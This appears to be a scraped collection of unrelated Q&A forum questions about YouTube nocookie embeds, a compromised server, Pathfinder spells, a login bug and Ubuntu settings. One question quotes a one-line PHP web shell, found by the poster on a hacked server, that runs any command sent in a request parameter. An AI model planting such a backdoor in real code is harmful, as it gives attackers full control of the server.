Was youtube-nocookie.com always serving cookies or did it start recently? Is it a scam?

I’ve been using Youtube embeds in enhanced privacy mode by

chang[ing] the domain for the embed URL in your HTML from https://www.youtube.com to https://www.youtube-nocookie.com

I remember checking via DevTools (Application/Storage tab) that no cookie was actually set.

A customer just notified me that they did find cookies set by the domain .youtube-nocookie.com — weirdly, something about "consent pending", which does not change when I click play, as other sources state.
They have also alerted me to some shenanigans in Local Storage, namely an item with the key yt-remote-device-id, which has a UUID and an expiration date 10 years in the future.

I have always suspected that Enhanced Privacy Mode is somewhat of a exaggeration, but this seems to defeat the purpose almost entirely. And it makes youtube-nocookie practically useless w.r.t. a less painful GDPR-compliant user experience.

Is this a recent change? Is there any documentation or changelog on that?

Server was compromised, found this line in a recently modified PHP file [closed]

I found this at the top of a PHP file in the web server:

<?php if(isset($ _REQUEST['xxx'])){ echo "<pre>"; $ xxx = ($ _REQUEST['xxx']); system($ xxx); echo "</pre>"; die; }?>

I’m guessing this is how they got the server to execute whatever commands they wanted to get in.

Does anyone know how this might have slipped into the PHP file in the first place? I know it’s an extremely vague and stupid question, but I’m stumped. Did they likely already have access to the server and slipped this in as a backdoor for later?

When can you prepare a recently casted spell?

The Pathfinder rules for divine spellcasting state that:

at the time of preparation any spells cast within the previous 8 hours count against the number of spells that can be prepared.

But does that mean that you lose a spell slot for that day, or can you use an extra session of preparation to prepare a spell in that slot, once enough time has passed?

For example, my cleric got ambushed midnight and burned the 3rd-level domain slot. He can’t prepare another 3-level domain spell on his preparation session on the morning, 4h after casting the spell.
But can he prepare a spell un that slot with an extra session once the full 8h have elapsed, or must he wait until the next morning and preparation session?

Regular users logs in as ADMIN if Admin logged in recently

Just found a crazy vulnerability and have no idea how to fix it.

Here is a situation:

  1. Admin logs in to a website.
  2. Regular user logs in using their credentials within the next few minutes
  3. Instead of logging in to their profile, they get access to admin resources. Their username is reflected as admin and they have access to all the features.

Why is this happening and how to stop it?

That’s not the first time it happens and I am really concerned about it. I am using optimizepress plugin for creating custom login page. Don’t know if it may be related to the problem

How to hide ‘Recently modified’

I have used the following as suggested in another post. and it seems to work, however when I save changes and reload page the ‘recently modified’ section comes back. I am missing something or is there something else I can try? thank you #s4-leftpanel {display: none} .s4-ca {margin-left: 0px} .s4-recentchanges {display:none}

Show recently used files in Ubuntu 18.04 Gnome like in Unity

I have been using Ubuntu 16.04 with Unity for a while before switching to Ubuntu 18.04 with Gnome 3.28.2. But Gnome dash doesn’t show recently used files as Unity dash does.

I have had a look through some extensions like Journal, Jump Lists, Recent Items but they are either too old or using dropdown list.

So, How can I get the gnome dash to display recently used files?

Machine recently started freezing. Ubuntu 18.04 and 19.04. Kaby Lake GPU with intel HD 620

* Ubuntu 18.04 & 19.04 keep freezing due to video driver issues *

Until about a month ago, I had been running Ubuntu 18.04 successfully on my Dell Latitude (7th Gen Intel i7 processor, Kaby Lake, and Intel HD 620 GPU).

However, after a recent update to 18.04, I am experiencing constant freezes, after ive been logged in for 2 to 5 minutes.

I tried reinstalling 18.04, and upgrading to 19.04, neither solved the problem.

I know that the issue is related to my video drivers, because if I edit the grub to ‘nomodeset’, the machine will boot and run (but obviously with very poor video performance).

Ive tried installing the ppa open graphics drivers /oibaf drivers, but that doesnt work either. After installing, I check my drivers to ensure that the box for the oibaf drivers is checked (within ‘other software’ in the drivers app), and restart… and inevitably when I restart, the system is still using the i915 drivers.

(I run ‘lshw -c video’ within terminal to see which video driver is being used, and my system seems to still be using the i915 driver, which is causing the crashes)

Is there anything else I need to do to force Ubuntu to use the PPA drivers?

Hoping one of you fine people can help me out here?

Save file dialog does not show recently open files

Under ubuntu 18.04, when saving a file, the ‘recent’ folder is not present in the sidebar. Screenshot of the save file dialog

Meanwhile, when opening a file, the ‘recent’ folder is present. Screenshot of the open file dialog

This problem is annoying, because I often save files to a folder I have recently visited. Of course, I could use a bookmark, but most of time these folders are not for a longtime usage.

Is there a setting to enable a ‘recent’ folder in the save file dialog?
